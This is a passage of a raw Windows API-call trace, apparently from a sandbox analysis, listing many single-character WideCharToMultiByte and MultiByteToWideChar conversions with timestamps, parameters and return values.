lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0068.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="I") returned 1 [0068.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="B", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="?", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0068.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr=">") returned 1 [0068.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0068.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="G\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="@") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="F", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="F\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="A", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="A\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr=":") returned 1 [0068.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="M") returned 1 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=">", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=">\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="<") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="R", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="R\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0xafd9718, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x17db00, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@\x9d\x90åþ\x07", lpUsedDefaultChar=0x0) returned 1 [0068.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17dad0, cbMultiByte=1, lpWideCharStr=0x515fa28, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0068.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="G", 